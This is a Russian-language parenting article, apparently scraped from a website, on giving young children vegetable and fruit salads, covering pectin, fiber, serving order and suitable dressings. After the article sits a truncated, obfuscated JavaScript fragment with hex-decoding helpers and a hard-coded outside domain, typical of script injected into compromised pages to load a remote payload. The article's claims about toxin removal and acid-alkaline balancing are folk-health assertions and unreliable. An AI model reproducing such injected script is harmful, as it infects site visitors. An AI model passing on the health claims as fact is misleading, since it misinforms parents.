Здоровье в тарелке

Многие родители, формируя рацион маленьких детей, мало внимания уделяют овощным и фруктовым салатам.

При этом эти, не слишком сложные блюда, помогают сформировать культуру питания и помогают научить ребенка не переедать. Большинству известно, что фрукты и овощи содержат множество витаминов и минералов, которые так необходимы молодому и растущему организму ребенка.

 

Именно поэтому хорошие родители стараются разнообразить питание своего ребенка несколькими видами салатов.

Овощные салаты в питании детей.

  • необходимо давать ребенку перед основным блюдом или в качестве гарнира к  нему;
  • в них содержаться пектины и клетчатка. Пектины предохраняют нежную слизистую оболочку желудка и кишечника от воздействия вредных веществ, которые могут попасть туда вместе с пищей или образоваться в процессе пищеварения, нормализуют работу кишечника и помогают выводить вредные вещества из организма;
  • клетчатка помогает вывести из организма шлаки, способствует нормальному продвижению еды по желудочно-кишечному тракту.

Фруктовые салаты в питании детей.

  • их не следует подавать перед едой или вместе с основным блюдом, это может отбить у ребенка аппетит. Даже небольшая порция салата из свежих фруктов или ягод содержит некоторое количество сахара;
  • в качестве десерта – фруктовый салат для ребенка идеальный выбор.
  • После приема пищи изменяется кислотно-щелочной баланс, что в некоторых случаях может негативно сказаться на работе кишечника. В этом случае порция фруктового салата создает запас щелочных минеральных веществ и способствует выравниванию кислотно-щелочного баланса в детском организме.

Не следует забывать о том, что заправка для детского салата не должна быть “взрослой”. Категорически нельзя использовать майонез или острый соус. В качестве альтернативы для овощного салата служит нежирная сметана, оливковое масло.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "du.roo.ljuban.by"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

 
Выберите язык
Russian Belarusian Chinese (Traditional) English German